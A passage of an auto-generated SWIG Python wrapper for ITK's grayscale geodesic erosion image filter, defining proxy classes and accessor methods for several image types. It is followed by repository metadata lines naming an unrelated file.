_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_SetMaskImage(self, *args) def GetMaskImage(self): """GetMaskImage(self) -> itkImageUL3""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_GetMaskImage(self) def SetRunOneIteration(self, *args): """SetRunOneIteration(self, bool _arg)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_SetRunOneIteration(self, *args) def GetRunOneIteration(self): """GetRunOneIteration(self) -> bool""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_GetRunOneIteration(self) def RunOneIterationOn(self): """RunOneIterationOn(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_RunOneIterationOn(self) def RunOneIterationOff(self): """RunOneIterationOff(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_RunOneIterationOff(self) def GetNumberOfIterationsUsed(self): """GetNumberOfIterationsUsed(self) -> unsigned long""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_GetNumberOfIterationsUsed(self) def SetFullyConnected(self, *args): """SetFullyConnected(self, bool _arg)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_SetFullyConnected(self, *args) def GetFullyConnected(self): """GetFullyConnected(self) -> bool""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_GetFullyConnected(self) def FullyConnectedOn(self): """FullyConnectedOn(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_FullyConnectedOn(self) def FullyConnectedOff(self): """FullyConnectedOff(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_FullyConnectedOff(self) __swig_destroy__ = _itkGrayscaleGeodesicErodeImageFilterPython.delete_itkGrayscaleGeodesicErodeImageFilterIUL3IUL3 def cast(*args): """cast(itkLightObject obj) -> itkGrayscaleGeodesicErodeImageFilterIUL3IUL3""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_cast(*args) cast = staticmethod(cast) def GetPointer(self): """GetPointer(self) -> itkGrayscaleGeodesicErodeImageFilterIUL3IUL3""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_GetPointer(self) def New(*args, **kargs): """New() -> itkGrayscaleGeodesicErodeImageFilterIUL3IUL3 Create a new object of the class itkGrayscaleGeodesicErodeImageFilterIUL3IUL3 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkGrayscaleGeodesicErodeImageFilterIUL3IUL3.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkGrayscaleGeodesicErodeImageFilterIUL3IUL3.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkGrayscaleGeodesicErodeImageFilterIUL3IUL3.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkGrayscaleGeodesicErodeImageFilterIUL3IUL3.SetMarkerImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_SetMarkerImage,None,itkGrayscaleGeodesicErodeImageFilterIUL3IUL3) itkGrayscaleGeodesicErodeImageFilterIUL3IUL3.GetMarkerImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_GetMarkerImage,None,itkGrayscaleGeodesicErodeImageFilterIUL3IUL3) itkGrayscaleGeodesicErodeImageFilterIUL3IUL3.SetMaskImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_SetMaskImage,None,itkGrayscaleGeodesicErodeImageFilterIUL3IUL3) itkGrayscaleGeodesicErodeImageFilterIUL3IUL3.GetMaskImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_GetMaskImage,None,itkGrayscaleGeodesicErodeImageFilterIUL3IUL3) itkGrayscaleGeodesicErodeImageFilterIUL3IUL3.SetRunOneIteration = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_SetRunOneIteration,None,itkGrayscaleGeodesicErodeImageFilterIUL3IUL3) itkGrayscaleGeodesicErodeImageFilterIUL3IUL3.GetRunOneIteration = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_GetRunOneIteration,None,itkGrayscaleGeodesicErodeImageFilterIUL3IUL3) itkGrayscaleGeodesicErodeImageFilterIUL3IUL3.RunOneIterationOn = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_RunOneIterationOn,None,itkGrayscaleGeodesicErodeImageFilterIUL3IUL3) itkGrayscaleGeodesicErodeImageFilterIUL3IUL3.RunOneIterationOff = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_RunOneIterationOff,None,itkGrayscaleGeodesicErodeImageFilterIUL3IUL3) itkGrayscaleGeodesicErodeImageFilterIUL3IUL3.GetNumberOfIterationsUsed = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_GetNumberOfIterationsUsed,None,itkGrayscaleGeodesicErodeImageFilterIUL3IUL3) itkGrayscaleGeodesicErodeImageFilterIUL3IUL3.SetFullyConnected = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_SetFullyConnected,None,itkGrayscaleGeodesicErodeImageFilterIUL3IUL3) itkGrayscaleGeodesicErodeImageFilterIUL3IUL3.GetFullyConnected = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_GetFullyConnected,None,itkGrayscaleGeodesicErodeImageFilterIUL3IUL3) itkGrayscaleGeodesicErodeImageFilterIUL3IUL3.FullyConnectedOn = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_FullyConnectedOn,None,itkGrayscaleGeodesicErodeImageFilterIUL3IUL3) itkGrayscaleGeodesicErodeImageFilterIUL3IUL3.FullyConnectedOff = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_FullyConnectedOff,None,itkGrayscaleGeodesicErodeImageFilterIUL3IUL3) itkGrayscaleGeodesicErodeImageFilterIUL3IUL3.GetPointer = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_GetPointer,None,itkGrayscaleGeodesicErodeImageFilterIUL3IUL3) itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_swigregister = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_swigregister itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_swigregister(itkGrayscaleGeodesicErodeImageFilterIUL3IUL3) def itkGrayscaleGeodesicErodeImageFilterIUL3IUL3___New_orig__(): """itkGrayscaleGeodesicErodeImageFilterIUL3IUL3___New_orig__()""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL3IUL3___New_orig__() def itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_cast(*args): """itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_cast(itkLightObject obj) -> itkGrayscaleGeodesicErodeImageFilterIUL3IUL3""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUL3IUL3_cast(*args) class itkGrayscaleGeodesicErodeImageFilterIUS2IUS2(itkImageToImageFilterAPython.itkImageToImageFilterIUS2IUS2): """Proxy of C++ itkGrayscaleGeodesicErodeImageFilterIUS2IUS2 class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr MarkerImageDimension = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_MarkerImageDimension MaskImageDimension = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_MaskImageDimension OutputImageDimension = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_OutputImageDimension SameDimensionCheck = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_SameDimensionCheck InputComparableCheck = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_InputComparableCheck InputConvertibleToOutputCheck = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_InputConvertibleToOutputCheck def __New_orig__(): """__New_orig__()""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS2IUS2___New_orig__() __New_orig__ = staticmethod(__New_orig__) def SetMarkerImage(self, *args): """SetMarkerImage(self, itkImageUS2 arg0)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_SetMarkerImage(self, *args) def GetMarkerImage(self): """GetMarkerImage(self) -> itkImageUS2""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_GetMarkerImage(self) def SetMaskImage(self, *args): """SetMaskImage(self, itkImageUS2 arg0)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_SetMaskImage(self, *args) def GetMaskImage(self): """GetMaskImage(self) -> itkImageUS2""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_GetMaskImage(self) def SetRunOneIteration(self, *args): """SetRunOneIteration(self, bool _arg)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_SetRunOneIteration(self, *args) def GetRunOneIteration(self): """GetRunOneIteration(self) -> bool""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_GetRunOneIteration(self) def RunOneIterationOn(self): """RunOneIterationOn(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_RunOneIterationOn(self) def RunOneIterationOff(self): """RunOneIterationOff(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_RunOneIterationOff(self) def GetNumberOfIterationsUsed(self): """GetNumberOfIterationsUsed(self) -> unsigned long""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_GetNumberOfIterationsUsed(self) def SetFullyConnected(self, *args): """SetFullyConnected(self, bool _arg)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_SetFullyConnected(self, *args) def GetFullyConnected(self): """GetFullyConnected(self) -> bool""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_GetFullyConnected(self) def FullyConnectedOn(self): """FullyConnectedOn(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_FullyConnectedOn(self) def FullyConnectedOff(self): """FullyConnectedOff(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_FullyConnectedOff(self) __swig_destroy__ = _itkGrayscaleGeodesicErodeImageFilterPython.delete_itkGrayscaleGeodesicErodeImageFilterIUS2IUS2 def cast(*args): """cast(itkLightObject obj) -> itkGrayscaleGeodesicErodeImageFilterIUS2IUS2""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_cast(*args) cast = staticmethod(cast) def GetPointer(self): """GetPointer(self) -> itkGrayscaleGeodesicErodeImageFilterIUS2IUS2""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_GetPointer(self) def New(*args, **kargs): """New() -> itkGrayscaleGeodesicErodeImageFilterIUS2IUS2 Create a new object of the class itkGrayscaleGeodesicErodeImageFilterIUS2IUS2 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkGrayscaleGeodesicErodeImageFilterIUS2IUS2.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkGrayscaleGeodesicErodeImageFilterIUS2IUS2.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkGrayscaleGeodesicErodeImageFilterIUS2IUS2.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkGrayscaleGeodesicErodeImageFilterIUS2IUS2.SetMarkerImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_SetMarkerImage,None,itkGrayscaleGeodesicErodeImageFilterIUS2IUS2) itkGrayscaleGeodesicErodeImageFilterIUS2IUS2.GetMarkerImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_GetMarkerImage,None,itkGrayscaleGeodesicErodeImageFilterIUS2IUS2) itkGrayscaleGeodesicErodeImageFilterIUS2IUS2.SetMaskImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_SetMaskImage,None,itkGrayscaleGeodesicErodeImageFilterIUS2IUS2) itkGrayscaleGeodesicErodeImageFilterIUS2IUS2.GetMaskImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_GetMaskImage,None,itkGrayscaleGeodesicErodeImageFilterIUS2IUS2) itkGrayscaleGeodesicErodeImageFilterIUS2IUS2.SetRunOneIteration = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_SetRunOneIteration,None,itkGrayscaleGeodesicErodeImageFilterIUS2IUS2) itkGrayscaleGeodesicErodeImageFilterIUS2IUS2.GetRunOneIteration = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_GetRunOneIteration,None,itkGrayscaleGeodesicErodeImageFilterIUS2IUS2) itkGrayscaleGeodesicErodeImageFilterIUS2IUS2.RunOneIterationOn = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_RunOneIterationOn,None,itkGrayscaleGeodesicErodeImageFilterIUS2IUS2) itkGrayscaleGeodesicErodeImageFilterIUS2IUS2.RunOneIterationOff = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_RunOneIterationOff,None,itkGrayscaleGeodesicErodeImageFilterIUS2IUS2) itkGrayscaleGeodesicErodeImageFilterIUS2IUS2.GetNumberOfIterationsUsed = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_GetNumberOfIterationsUsed,None,itkGrayscaleGeodesicErodeImageFilterIUS2IUS2) itkGrayscaleGeodesicErodeImageFilterIUS2IUS2.SetFullyConnected = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_SetFullyConnected,None,itkGrayscaleGeodesicErodeImageFilterIUS2IUS2) itkGrayscaleGeodesicErodeImageFilterIUS2IUS2.GetFullyConnected = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_GetFullyConnected,None,itkGrayscaleGeodesicErodeImageFilterIUS2IUS2) itkGrayscaleGeodesicErodeImageFilterIUS2IUS2.FullyConnectedOn = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_FullyConnectedOn,None,itkGrayscaleGeodesicErodeImageFilterIUS2IUS2) itkGrayscaleGeodesicErodeImageFilterIUS2IUS2.FullyConnectedOff = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_FullyConnectedOff,None,itkGrayscaleGeodesicErodeImageFilterIUS2IUS2) itkGrayscaleGeodesicErodeImageFilterIUS2IUS2.GetPointer = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_GetPointer,None,itkGrayscaleGeodesicErodeImageFilterIUS2IUS2) itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_swigregister = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_swigregister itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_swigregister(itkGrayscaleGeodesicErodeImageFilterIUS2IUS2) def itkGrayscaleGeodesicErodeImageFilterIUS2IUS2___New_orig__(): """itkGrayscaleGeodesicErodeImageFilterIUS2IUS2___New_orig__()""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS2IUS2___New_orig__() def itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_cast(*args): """itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_cast(itkLightObject obj) -> itkGrayscaleGeodesicErodeImageFilterIUS2IUS2""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS2IUS2_cast(*args) class itkGrayscaleGeodesicErodeImageFilterIUS3IUS3(itkImageToImageFilterAPython.itkImageToImageFilterIUS3IUS3): """Proxy of C++ itkGrayscaleGeodesicErodeImageFilterIUS3IUS3 class""" thisown = _swig_property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag') def __init__(self, *args, **kwargs): raise AttributeError("No constructor defined") __repr__ = _swig_repr MarkerImageDimension = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_MarkerImageDimension MaskImageDimension = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_MaskImageDimension OutputImageDimension = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_OutputImageDimension SameDimensionCheck = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_SameDimensionCheck InputComparableCheck = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_InputComparableCheck InputConvertibleToOutputCheck = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_InputConvertibleToOutputCheck def __New_orig__(): """__New_orig__()""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS3IUS3___New_orig__() __New_orig__ = staticmethod(__New_orig__) def SetMarkerImage(self, *args): """SetMarkerImage(self, itkImageUS3 arg0)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_SetMarkerImage(self, *args) def GetMarkerImage(self): """GetMarkerImage(self) -> itkImageUS3""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_GetMarkerImage(self) def SetMaskImage(self, *args): """SetMaskImage(self, itkImageUS3 arg0)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_SetMaskImage(self, *args) def GetMaskImage(self): """GetMaskImage(self) -> itkImageUS3""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_GetMaskImage(self) def SetRunOneIteration(self, *args): """SetRunOneIteration(self, bool _arg)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_SetRunOneIteration(self, *args) def GetRunOneIteration(self): """GetRunOneIteration(self) -> bool""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_GetRunOneIteration(self) def RunOneIterationOn(self): """RunOneIterationOn(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_RunOneIterationOn(self) def RunOneIterationOff(self): """RunOneIterationOff(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_RunOneIterationOff(self) def GetNumberOfIterationsUsed(self): """GetNumberOfIterationsUsed(self) -> unsigned long""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_GetNumberOfIterationsUsed(self) def SetFullyConnected(self, *args): """SetFullyConnected(self, bool _arg)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_SetFullyConnected(self, *args) def GetFullyConnected(self): """GetFullyConnected(self) -> bool""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_GetFullyConnected(self) def FullyConnectedOn(self): """FullyConnectedOn(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_FullyConnectedOn(self) def FullyConnectedOff(self): """FullyConnectedOff(self)""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_FullyConnectedOff(self) __swig_destroy__ = _itkGrayscaleGeodesicErodeImageFilterPython.delete_itkGrayscaleGeodesicErodeImageFilterIUS3IUS3 def cast(*args): """cast(itkLightObject obj) -> itkGrayscaleGeodesicErodeImageFilterIUS3IUS3""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_cast(*args) cast = staticmethod(cast) def GetPointer(self): """GetPointer(self) -> itkGrayscaleGeodesicErodeImageFilterIUS3IUS3""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_GetPointer(self) def New(*args, **kargs): """New() -> itkGrayscaleGeodesicErodeImageFilterIUS3IUS3 Create a new object of the class itkGrayscaleGeodesicErodeImageFilterIUS3IUS3 and set the input and the parameters if some named or non-named arguments are passed to that method. New() tries to assign all the non named parameters to the input of the new objects - the first non named parameter in the first input, etc. The named parameters are used by calling the method with the same name prefixed by 'Set'. Ex: itkGrayscaleGeodesicErodeImageFilterIUS3IUS3.New( reader, Threshold=10 ) is (most of the time) equivalent to: obj = itkGrayscaleGeodesicErodeImageFilterIUS3IUS3.New() obj.SetInput( 0, reader.GetOutput() ) obj.SetThreshold( 10 ) """ obj = itkGrayscaleGeodesicErodeImageFilterIUS3IUS3.__New_orig__() import itkTemplate itkTemplate.New(obj, *args, **kargs) return obj New = staticmethod(New) itkGrayscaleGeodesicErodeImageFilterIUS3IUS3.SetMarkerImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_SetMarkerImage,None,itkGrayscaleGeodesicErodeImageFilterIUS3IUS3) itkGrayscaleGeodesicErodeImageFilterIUS3IUS3.GetMarkerImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_GetMarkerImage,None,itkGrayscaleGeodesicErodeImageFilterIUS3IUS3) itkGrayscaleGeodesicErodeImageFilterIUS3IUS3.SetMaskImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_SetMaskImage,None,itkGrayscaleGeodesicErodeImageFilterIUS3IUS3) itkGrayscaleGeodesicErodeImageFilterIUS3IUS3.GetMaskImage = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_GetMaskImage,None,itkGrayscaleGeodesicErodeImageFilterIUS3IUS3) itkGrayscaleGeodesicErodeImageFilterIUS3IUS3.SetRunOneIteration = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_SetRunOneIteration,None,itkGrayscaleGeodesicErodeImageFilterIUS3IUS3) itkGrayscaleGeodesicErodeImageFilterIUS3IUS3.GetRunOneIteration = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_GetRunOneIteration,None,itkGrayscaleGeodesicErodeImageFilterIUS3IUS3) itkGrayscaleGeodesicErodeImageFilterIUS3IUS3.RunOneIterationOn = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_RunOneIterationOn,None,itkGrayscaleGeodesicErodeImageFilterIUS3IUS3) itkGrayscaleGeodesicErodeImageFilterIUS3IUS3.RunOneIterationOff = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_RunOneIterationOff,None,itkGrayscaleGeodesicErodeImageFilterIUS3IUS3) itkGrayscaleGeodesicErodeImageFilterIUS3IUS3.GetNumberOfIterationsUsed = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_GetNumberOfIterationsUsed,None,itkGrayscaleGeodesicErodeImageFilterIUS3IUS3) itkGrayscaleGeodesicErodeImageFilterIUS3IUS3.SetFullyConnected = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_SetFullyConnected,None,itkGrayscaleGeodesicErodeImageFilterIUS3IUS3) itkGrayscaleGeodesicErodeImageFilterIUS3IUS3.GetFullyConnected = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_GetFullyConnected,None,itkGrayscaleGeodesicErodeImageFilterIUS3IUS3) itkGrayscaleGeodesicErodeImageFilterIUS3IUS3.FullyConnectedOn = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_FullyConnectedOn,None,itkGrayscaleGeodesicErodeImageFilterIUS3IUS3) itkGrayscaleGeodesicErodeImageFilterIUS3IUS3.FullyConnectedOff = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_FullyConnectedOff,None,itkGrayscaleGeodesicErodeImageFilterIUS3IUS3) itkGrayscaleGeodesicErodeImageFilterIUS3IUS3.GetPointer = new_instancemethod(_itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_GetPointer,None,itkGrayscaleGeodesicErodeImageFilterIUS3IUS3) itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_swigregister = _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_swigregister itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_swigregister(itkGrayscaleGeodesicErodeImageFilterIUS3IUS3) def itkGrayscaleGeodesicErodeImageFilterIUS3IUS3___New_orig__(): """itkGrayscaleGeodesicErodeImageFilterIUS3IUS3___New_orig__()""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS3IUS3___New_orig__() def itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_cast(*args): """itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_cast(itkLightObject obj) -> itkGrayscaleGeodesicErodeImageFilterIUS3IUS3""" return _itkGrayscaleGeodesicErodeImageFilterPython.itkGrayscaleGeodesicErodeImageFilterIUS3IUS3_cast(*args)
[ "fede.anne95@hotmail.it" ]
fede.anne95@hotmail.it
7765ceccb21016a4bb1507aef9301ffcf28ddf22
9d123c6b87b0baf80a6fce070023e19d68048b90
/slothql/utils/laziness.py
1a0de52539dcd75a2ec5e2830f3abfe6a44fd19b
[ "MIT" ]
permissive
IndioInc/slothql
ea4da3727cb974360eeb3b38517ead4328687e81
